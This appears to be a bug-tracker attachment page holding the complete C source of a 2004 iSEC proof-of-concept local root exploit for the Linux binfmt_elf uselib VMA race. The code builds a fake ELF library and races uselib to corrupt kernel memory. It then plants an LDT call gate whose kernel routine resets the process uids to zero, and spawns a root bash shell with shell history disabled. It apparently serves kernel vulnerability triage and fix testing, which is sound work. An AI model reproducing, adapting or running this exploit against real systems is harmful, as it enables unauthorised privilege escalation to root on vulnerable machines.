Attachment 27352 Details for Bug 64492

elflbl_v106.c

elflbl_v106.c (text/plain), 14.95 KB, created by Ludwig Nussel on 2005-01-03 21:08:17 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Ludwig Nussel

Created: 2005-01-03 21:08:17 UTC

Size: 14.95 KB

patch

obsolete

>/*
> *	binfmt_elf uselib VMA insert race vulnerability
> *	v1.06
> *
> *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
> *
> *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
> *
> *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
> *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
> *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
> *
> */
>
>
>#define _GNU_SOURCE
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <fcntl.h>
>#include <unistd.h>
>#include <errno.h>
>#include <sched.h>
>#include <syscall.h>
>#include <limits.h>
>
>#include <sys/types.h>
>#include <sys/wait.h>
>#include <sys/time.h>
>#include <sys/mman.h>
>#include <sys/sysinfo.h>
>
>#include <linux/elf.h>
>#include <linux/linkage.h>
>
>#include <asm/page.h>
>#include <asm/ldt.h>
>#include <asm/segment.h>
>
>#define str(s) #s
>#define xstr(s) str(s)
>
>#define MREMAP_MAYMOVE  1
>
>
>//	temp lib location
>#define LIBNAME 	"/dev/shm/_elf_lib"
>
>//	shell name
>#define	SHELL		"/bin/bash"
>
>//	time delta to detect race
>#define RACEDELTA	5000
>
>//	if you have more deadbebes in memory, change this
>#define MAGIC		0xdeadbabe
>
>
>//	do not touch
>#define	SLAB_THRSH	128
>#define	SLAB_PER_CHLD	(INT_MAX - 1)
>#define LIB_SIZE	( PAGE_SIZE * 4 )
>#define STACK_SIZE	( PAGE_SIZE * 4 )
>
>#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
>
>#define ENTRY_GATE	( LDT_ENTRIES-1 )
>#define GATESEL		( (ENTRY_GATE<<3)|0x07 )
>
>#define kB		* 1024
>#define MB		* 1024 kB
>#define GB		* 1024 MB
>
>#define TMPLEN		256
>#define PGD_SIZE	( PAGE_SIZE*1024 )
>
>
>extern char **environ;
>
>static char cstack[STACK_SIZE];
>static char name[TMPLEN];
>static char line[TMPLEN];
>
>
>static volatile int
>	val = 0,
>	go = 0,
>	finish = 0,
>	scnt = 0,
>	delta = 0,
>	map_flags = PROT_WRITE|PROT_READ;
>
>
>static int
>	fstop=0,
>	brute=0,
>	ccnt=0,
>	pidx,
>	pnum=0,
>	smp=4,
>	cpid,
>	uid,
>	task_size,
>	old_esp,
>	lib_addr,
>	map_count=0,
>	map_base,
>	map_addr,
>	addr_min,
>	addr_max,
>	vma_start,
>	vma_end,
>	max_page;
>
>
>static struct timeval tm1, tm2;
>
>static char *myenv[] = {"TERM=vt100",
>			"HISTFILE=/dev/null",
>			NULL};
>static char *pagemap;
>
>
>
>#define __NR_sys_gettimeofday	__NR_gettimeofday
>#define __NR_sys_sched_yield	__NR_sched_yield
>#define __NR_sys_madvise	__NR_madvise
>#define __NR_sys_uselib		__NR_uselib
>#define __NR_sys_mmap2		__NR_mmap2
>#define __NR_sys_munmap		__NR_munmap
>#define __NR_sys_mprotect	__NR_mprotect
>#define __NR_sys_mremap		__NR_mremap
>
>inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
>
>inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
>
>inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
>inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
>inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
>
>inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
>inline _syscall2(int, sys_munmap, int, a, int, b);
>
>inline _syscall1(int, sys_uselib, char*, l);
>
>inline _syscall0(void, sys_sched_yield);
>
>
>
>inline int tmdiff(struct timeval *t1, struct timeval *t2)
>{
>int r;
>
>	r=t2->tv_sec - t1->tv_sec;
>	r*=1000000;
>	r+=t2->tv_usec - t1->tv_usec;
>return r;
>}
>
>
>void fatal(const char *message, int critical)
>{
>int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
>
>	if(!errno) {
>		fprintf(stdout, "\n[-] FAILED: %s ", message);
>	}
>	else {
>		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
>			(char*) (strerror(errno)) );
>	}
>	if(critical)
>		printf("\nCRITICAL, entering endless loop");
>	printf("\n");
>	fflush(stdout);
>
>	unlink(LIBNAME);
>	kill(cpid, SIGKILL);
>	for(;;) kill(0, sig);
>}
>
>
>//	try to race do_brk sleeping on kmalloc, may need modification for SMP
>static int raceme(void* v)
>{
>int r;
>
>	printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout);
>	finish=1;
>
>	for(;;) {
>		errno = 0;
>
>//	check if raced:
>recheck:
>		if(!go) sys_sched_yield();
>		sys_gettimeofday(&tm2, NULL);
>		delta = tmdiff(&tm1, &tm2);
>		if(delta < RACEDELTA) goto recheck;
>
>//	check if lib VMAs exist as expected under race condition
>recheck2:
>		r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
>		if(r) continue;
>		errno = 0;
>		r = sys_madvise((void*) (lib_addr+PAGE_SIZE),
>				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
>		if(!r || (r<0 && errno != ENOMEM) ) continue;
>
>//	SMP?
>		if(smp-->=0) goto recheck2;
>
>//	recheck race
>		if(!go) continue;
>		finish++;
>
>//	we need to free one vm_area_struct for mmap to work
>		r = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
>		if(r) fatal("mprotect", 0);
>		r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE,
>			      MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
>		if(-1 == r) fatal("mmap2 race", 0);
>		printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout);
>		_exit(0);
>	}
>
>return 0;
>}
>
>
>int callme_1()
>{
>	return val++;
>}
>
>
>inline int valid_ptr(unsigned ptr)
>{
>	return ptr>=task_size && ptr<addr_min-16;
>}
>
>
>inline int validate_vma(unsigned *p, unsigned s, unsigned e)
>{
>unsigned *t;
>
>	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
>		t=(unsigned*)p[3];
>		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
>			return 1;
>	}
>	return 0;
>}
>
>
>asmlinkage void kernel_code(unsigned *task)
>{
>unsigned *addr = task;
>
>//	find & reset uids
>	while(addr[0] != uid || addr[1] != uid ||
>	      addr[2] != uid || addr[3] != uid)
>		addr++;
>
>	addr[0] = /*addr[1] = */addr[2] = addr[3] = 0;
>	addr[4] = addr[5] = addr[6] = addr[7] = 0;
>
>//	find & correct VMA
>	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
>		if( validate_vma(addr, vma_start, vma_end) ) {
>			addr[1] = task_size - PAGE_SIZE;
>			addr[2] = task_size;
>			break;
>		}
>	}
>}
>
>
>void kcode(void);
>
>
>void __kcode(void)
>{
>asm(
>	"kcode:						\n"
>	"	pusha					\n"
>	"	pushl	%es				\n"
>	"	pushl	%ds				\n"
>	"	movl	$("xstr(__KERNEL_DS)") ,%edx	\n"
>	"	movl	%edx,%es			\n"
>	"	movl	%edx,%ds			\n"
>	"	movl	$0xffffe000,%eax		\n"
>	"	andl	%esp,%eax			\n"
>	"	pushl	%eax				\n"
>	"	call	kernel_code			\n"
>	"	addl	$4, %esp			\n"
>	"	popl	%ds				\n"
>	"	popl	%es				\n"
>	"	popa					\n"
>	"	lret					\n"
>    );
>}
>
>
>int callme_2()
>{
>	return val + task_size + addr_min;
>}
>
>
>void static sigfailed(int v)
>{
>	ccnt++;
>	fatal("lcall", 1);
>}
>
>
>//	modify LDT & exec
>void try_to_exploit(unsigned addr)
>{
>volatile int r, *v;
>
>	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
>	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
>	if(r) fatal("mprotect 1", 1);
>
>//	check if really LDT
>	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
>	signal(SIGSEGV, sigfailed);
>	r = *v;
>	if(r != MAGIC) {
>		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
>		fatal("find LDT", 1);
>	}
>
>//	yeah!
>	*v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU);
>	*(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U;
>	printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);
>
>//	reprotect to get one VMA
>	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
>	if(r) fatal("mprotect 2", 1);
>
>//	CPL0 transition
>	val = callme_1() + callme_2();
>	asm("lcall $" xstr(GATESEL) ",$0x0");
>	if( getuid()==0 ) {
>		printf("\n[+] exploited, uid=0\n" ); fflush(stdout);
>	} else {
>		printf("\n[-] uid change failed" ); fflush(stdout);
>		sigfailed(0);
>	}
>	signal(SIGTERM, SIG_IGN);
>	kill(0, SIGTERM);
>	execl(SHELL, "sh", NULL);
>	fatal("execl", 0);
>}
>
>
>void static scan_mm_finish();
>void static scan_mm_start();
>
>
>//	kernel page table scan code
>void static scan_mm()
>{
>	map_addr -= PAGE_SIZE;
>	if(map_addr <= addr_min)
>		scan_mm_start();
>
>	scnt=0;
>	val = *(int*)map_addr;
>	scan_mm_finish();
>}
>
>
>void static scan_mm_finish()
>{
>retry:
>	__asm__("movl	%0, %%esp" : :"m"(old_esp) );
>
>	if(scnt) {
>		pagemap[pidx] ^= 1;
>	}
>	else {
>		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
>	}
>	pidx--;
>	scan_mm();
>	goto retry;
>}
>
>
>//	make kernel page maps before and after allocating LDT
>void static scan_mm_start()
>{
>static int npg=0;
>static struct modify_ldt_ldt_s l;
>static struct sysinfo si;
>
>	pnum++;
>	if(pnum==1) {
>		sysinfo(&si);
>		addr_min = task_size + si.totalram;
>		addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
>		addr_max = addr_min + si.totalram;
>		if(addr_max >= 0xffffe000 || addr_max < addr_min)
>			addr_max = 0xffffd000;
>
>		printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
>		max_page = (addr_max - addr_min) / PAGE_SIZE;
>
>		pagemap = malloc( max_page + 32 );
>		if(!pagemap) fatal("malloc pagemap", 1);
>		memset(pagemap, 0, max_page + 32);
>
>		pidx = max_page-1;
>	}
>	else if(pnum==2) {
>		memset(&l, 0, sizeof(l));
>		l.entry_number = LDT_ENTRIES-1;
>		l.seg_32bit = 1;
>		l.base_addr = MAGIC >> 16;
>		l.limit = MAGIC & 0xffff;
>		l.limit_in_pages = 1;
>		if( modify_ldt(1, &l, sizeof(l)) != 0 )
>			fatal("modify_ldt", 1);
>
>		pidx = max_page-1;
>	}
>	else if(pnum==3) {
>		npg=0;
>		for(pidx=0; pidx<=max_page-1; pidx++) {
>			if(pagemap[pidx]) {
>				npg++;
>				fflush(stdout);
>			}
>			else if(npg == LDT_PAGES) {
>				npg=0;
>				try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE);
>			} else {
>				npg=0;
>			}
>		}
>		fatal("find LDT", 1);
>	}
>
>//	save context & scan page table
>	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
>	map_addr = addr_max;
>	scan_mm();
>}
>
>
>//	return number of available SLAB objects in cache
>static int get_slab_objs(const char *sn)
>{
>static int c, d, u = 0, a = 0;
>FILE *fp=NULL;
>
>	fp = fopen("/proc/slabinfo", "r");
>	if(!fp)
>		fatal("get_slab_objs: fopen", 0);
>	fgets(name, sizeof(name) - 1, fp);
>	do {
>		c = u = a = -1;
>		if (!fgets(line, sizeof(line) - 1, fp))
>			break;
>		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
>			   &d, &d, &d, &d);
>	} while (strcmp(name, sn));
>	close(fileno(fp));
>	fclose(fp);
>	return c == 7 ? a - u : -1;
>}
>
>
>//	leave one object in the SLAB
>inline void prepare_slab()
>{
>int *r;
>
>	map_addr -= PAGE_SIZE;
>	map_count++;
>	map_flags ^= PROT_READ;
>
>	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
>		MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
>	if(MAP_FAILED == r) {
>		fatal("try again", 0);
>	}
>	*r = map_addr;
>}
>
>
>//	sig handlers
>void static segvcnt(int v)
>{
>	scnt++;
>	scan_mm_finish();
>}
>
>
>void static reaper(int v)
>{
>	ccnt++;
>	waitpid(0, &v, WNOHANG|WUNTRACED);
>}
>
>
>//	use elf library and try to sleep on kmalloc
>void exploitme()
>{
>int r, sz;
>
>	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
>	signal(SIGCHLD, reaper);
>	signal(SIGSEGV, segvcnt);
>	signal(SIGBUS, segvcnt);
>
>//	helper clone
>	finish=0; ccnt=0;
>	sz = sizeof(cstack) / sizeof(cstack[0]);
>	cpid = clone(&raceme, (void*) &cstack[sz-16],
>			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
>	if(-1==cpid) fatal("clone", 0);
>
>//	synchronize threads
>	while(!finish) sys_sched_yield();
>	finish=0;
>
>//	try to hit the kmalloc race
>	for(;;) {
>
>		r = get_slab_objs("vm_area_struct");
>		while(r != 1) {
>			prepare_slab();
>			r--;
>		}
>
>		sys_gettimeofday(&tm1, NULL);
>		go = 1;
>		r=sys_uselib(LIBNAME);
>		go = 0;
>		if(r) fatal("uselib", 0);
>		if(finish) break;
>
>//	wipe lib VMAs and try again
>		r = sys_munmap(lib_addr, LIB_SIZE);
>		if(r) fatal("munmap lib", 0);
>		if(ccnt) goto failed;
>	}
>
>//	seems we raced
>	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
>	if(r) fatal("munmap 1", 0);
>	r = sys_munmap(lib_addr, PAGE_SIZE);
>	if(r) fatal("munmap 2", 0);
>
>//	write protect brk VMA to fool vm_enough_memory()
>	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
>			 PROT_READ|PROT_EXEC);
>	if(-1==r) { fatal("mprotect brk", 0); }
>
>//	this will finally make the big VMA...
>	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
>expand:
>	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
>			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
>	if(r) fatal("madvise", 0);
>	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
>			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
>	if(-1==r) {
>		if(0==sz) fatal("mremap: expand VMA", 0);
>		else { sz -= PAGE_SIZE; goto expand; }
>	}
>	vma_start = lib_addr + PAGE_SIZE;
>	vma_end = vma_start + sz + 2*PAGE_SIZE;
>
>//	try to figure kernel layout
>	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
>	fflush(stdout);
>	scan_mm_start();
>
>failed:
>	fatal("try again", 0);
>
>}
>
>
>//	make fake ELF library
>static void make_lib()
>{
>struct elfhdr eh;
>struct elf_phdr eph;
>static char tmpbuf[PAGE_SIZE];
>int fd;
>
>//	make our elf library
>	umask(022);
>	unlink(LIBNAME);
>	fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
>	if(fd<0) fatal("open lib", 0);
>	memset(&eh, 0, sizeof(eh) );
>
>//	elf exec header
>	memcpy(eh.e_ident, ELFMAG, SELFMAG);
>	eh.e_type = ET_EXEC;
>	eh.e_machine = EM_386;
>	eh.e_phentsize = sizeof(struct elf_phdr);
>	eh.e_phnum = 1;
>	eh.e_phoff = sizeof(eh);
>	write(fd, &eh, sizeof(eh) );
>
>//	section header:
>	memset(&eph, 0, sizeof(eph) );
>	eph.p_type = PT_LOAD;
>	eph.p_offset = 4096;
>	eph.p_filesz = 4096;
>	eph.p_vaddr = lib_addr;
>	eph.p_memsz = LIB_SIZE;
>	eph.p_flags = PF_W|PF_R|PF_X;
>	write(fd, &eph, sizeof(eph) );
>
>//	execable code
>	lseek(fd, 4096, SEEK_SET);
>	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
>	write(fd, &tmpbuf, sizeof(tmpbuf) );
>	close(fd);
>}
>
>
>//	move stack down #2
>void prepare_finish()
>{
>int r;
>	old_esp &= ~(PAGE_SIZE-1);
>	old_esp -= PAGE_SIZE;
>	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
>	r = sys_munmap(old_esp, task_size-old_esp);
>	if(r) fatal("unmap stack", 0);
>
>//	setup rt env
>	uid = getuid();
>	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
>	map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
>	printf("\n[+] moved stack %x, task_size=%x, map_base=%x",
>		old_esp, task_size, map_base); fflush(stdout);
>
>	make_lib();
>	exploitme();
>}
>
>
>//	move stack down #1
>void prepare()
>{
>unsigned p=0;
>
>	environ = myenv;
>
>	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
>		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
>	if(-1==p) fatal("mmap2 stack", 0);
>	p += STACK_SIZE - 64;
>	__asm__("movl	%%esp, %0	\n"
>		"movl 	%1, %%esp	\n"
>		: : "m"(old_esp), "m"(p)
>	);
>	prepare_finish();
>}
>
>
>void static chldcnt(int v)
>{
>	ccnt++;
>}
>
>
>//	alloc slab objects...
>inline void do_wipe()
>{
>int *r, c=0, left=0;
>	
>	__asm__("movl	%%esp, %0" : : "m"(old_esp) );
>
>	old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1);
>	for(;;) {
>		if(left<=0)
>			left = get_slab_objs("vm_area_struct");
>		if(left <= SLAB_THRSH)
>			break;
>		left--;
>
>		map_flags ^= PROT_READ;
>		old_esp -= PAGE_SIZE;
>		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
>			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
>		if(MAP_FAILED == r)
>			break;
>
>		c++;
>		if(c>SLAB_PER_CHLD)
>			break;
>		if( (c%1024)==0 ) {
>			printf("\rchild %d %d", val, c);
>			fflush(stdout);
>		}
>	}
>
>	kill(getppid(), SIGUSR1);
>	for(;;) pause();
>}
>
>
>void wipe_slab()
>{
>	signal(SIGUSR1, chldcnt);
>	for(;;) {
>		ccnt=0;
>		val++;
>		cpid = fork();
>		if(!cpid) {
>			printf("\n");
>			do_wipe();
>		}
>		pause();
>		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
>			break;
>		sys_sched_yield();
>	}
>	printf("\n");
>	signal(SIGUSR1, SIG_DFL);
>}
>
>
>void usage(char *n)
>{
>	printf("\nUsage: %s\t-s forced stop\n", n);
>	printf("\t\t-n SMP iterations\n");
>	printf("\t\t-b empty SLAB mode\n");
>	printf("\n");
>	_exit(1);
>}
>
>
>//	give -s for forced stop, -b to clean SLAB
>int main(int ac, char **av)
>{
>int r;
>
>	while(ac) {
>		r = getopt(ac, av, "bsn:");
>		if(r<0) break;
>
>		switch(r) {
>		case 's' :
>			fstop = 1;
>			break;
>
>		case 'n' :
>			smp = atoi(optarg);
>			if(smp<0) fatal("bad value", 0);
>			break;
>
>		case 'b' :
>			brute = 1;
>			break;
>
>		default:
>			usage(av[0]);
>			break;
>		}
>	}
>
>	uid = getuid();
>	setpgrp();
>	if(brute)
>		wipe_slab();
>	prepare();
>
>return 0;
>}

Actions: View

Attachments on bug 64492: 27352 | 27353 | 27368 | 27369 | 27370 | 27371 | 27372 | 27375 | 27376 | 27380 | 27510 | 27534 | 33137